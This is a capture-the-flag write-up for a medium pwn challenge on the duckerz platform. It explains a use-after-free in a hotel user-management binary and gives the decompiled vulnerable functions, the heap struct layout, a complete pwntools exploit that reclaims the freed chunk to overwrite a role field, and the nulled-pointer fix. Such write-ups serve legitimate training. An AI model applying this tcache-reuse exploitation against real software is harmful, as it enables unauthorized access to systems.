В отеле (At the Hotel)
В отеле (At the Hotel)
Platform: duckerz | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-01-15 | Status: Solved Techniques: dangling_pointer, heap_chunk_reuse, hidden_option_discovery, use_after_free
Summary
Task: Hotel binary with user management system. Solution: Use-After-Free vulnerability - delete user without nullifying pointer, reallocate same chunk via message write to overwrite role field, call hidden menu option to get flag.
В отеле (At the Hotel) — duckerz CTF
Description
Герой заходит в гостиницу, рассчитывая использовать свои навыки социальной инженерии, чтобы убедить сотрудницу на ресепшене выдать номер без бронирования. Однако её ответы были чёткими и отточенными, а попытки убедить оказались безуспешными.
Тем не менее, герой узнаёт, что существует некий универсальный код бронирования, доступный только менеджеру. Этот код можно использовать для заселения в номер без предварительного подтверждения.
Взглянув в угол холла, он замечает экран с надписью: "Онлайн-поддержка." Посмотрим, что он может с этим сделать...
Files: hotel binary
Server: nc tasks.duckerz.ru 30012
Binary Analysis
Protections (checksec)
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
- PIE enabled — addresses are randomized, but not critical for this task
- No canary — no stack protection (not used in the exploit)
- NX enabled — cannot execute code on the stack
- Partial RELRO — GOT is writable (not used)
Functions (not stripped)
The binary is not stripped, function names are visible:
read_secret— reads the flagdelete_user— deletes a userlogin_user— authenticationreg_user— registrationwrite_msg— write a messageread_msg— read a message
Key Findings
bash read-only • copy allowedstrings hotel | grep -i flag # Found "cat flag" — means there's system("cat flag")
Vulnerability: Use-After-Free (UAF)
Function delete_user()
c read-only • copy allowedvoid delete_user() { free(curr_user); // Free memory // curr_user is NOT set to NULL! puts("User deleted"); }
Problem: After free(), the curr_user pointer continues to point to freed memory (dangling pointer).
Function read_secret() — hidden option "5"
c read-only • copy allowedvoid read_secret() { if (curr_user->role == 0x7a69) { // 31337 in hex system("cat flag"); } else { puts("Nope."); } }
This function is not shown in the menu, but is accessible via option "5".
User Structure (0x28 = 40 bytes)
struct User {
uint64_t field_0; // offset 0x00 (8 bytes) - unused
uint64_t field_1; // offset 0x08 (8 bytes) - unused
uint64_t role; // offset 0x10 (8 bytes) - checked in read_secret
char* username; // offset 0x18 (8 bytes) - pointer to name
char* password; // offset 0x20 (8 bytes) - pointer to password
};
// sizeof(User) = 0x28 = 40 bytes
Exploitation
Attack Principle
- Register a user →
malloc(0x28)allocates memory for User - Login →
curr_userpoints to the structure - Delete the user →
free(curr_user), but the pointer remains - Write a message of size 0x28 → tcache returns the same chunk
- Overwrite the
rolefield with value 0x7a69 - Call hidden option "5" → check passes, we get the flag
Why Does This Work?
- glibc tcache caches freed chunks by size
- When requesting
malloc(0x28), it returns the last freed chunk of the same size curr_userstill points to this memory- We control the contents via
write_msg
Exploit
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * # Connection p = remote('tasks.duckerz.ru', 30012) # p = process('./hotel') # for local testing def register(username, password): p.sendlineafter(b'> ', b'2') p.sendlineafter(b': ', username) p.sendlineafter(b': ', password) def login(username, password): p.sendlineafter(b'> ', b'1') p.sendlineafter(b': ', username) p.sendlineafter(b': ', password) def delete_user(): p.sendlineafter(b'> ', b'3') def write_msg(size, content): p.sendlineafter(b'> ', b'1') p.sendlineafter(b': ', str(size).encode()) p.sendafter(b': ', content) def read_secret(): p.sendlineafter(b'> ', b'5') # === Exploitation === # 1. Create a user register(b'user1', b'pass1') log.info("User registered") # 2. Login login(b'user1', b'pass1') log.info("Logged in") # 3. Delete user (UAF - pointer remains) delete_user() log.info("User deleted (dangling pointer created)") # 4. Create payload to overwrite User structure payload = b'A' * 0x10 # padding to offset 0x10 (role field) payload += p64(0x7a69) # role = 31337 (magic value for read_secret) payload += b'B' * 8 # fake username pointer payload += b'C' * 8 # fake password pointer # 5. Write message - tcache will return the same chunk write_msg(0x28, payload) log.info("Payload written to freed chunk") # 6. Call hidden function read_secret log.info("Calling hidden option 5 (read_secret)") read_secret() # Get the flag p.interactive()
Defense Against UAF
Correct implementation of delete_user():
c read-only • copy allowedvoid delete_user() { free(curr_user); curr_user = NULL; // Nullify the pointer! puts("User deleted"); }
Additional Notes
Finding Hidden Functions
bash read-only • copy allowed# Via strings strings hotel | grep -E "(secret|flag|admin|hidden)" # Via objdump objdump -t hotel | grep -i secret # Via radare2 r2 hotel > afl~secret
Structure Analysis
bash read-only • copy allowed# Allocation size can be found in the disassembler # Look for malloc calls with constant argument objdump -d hotel | grep -A2 "call.*malloc"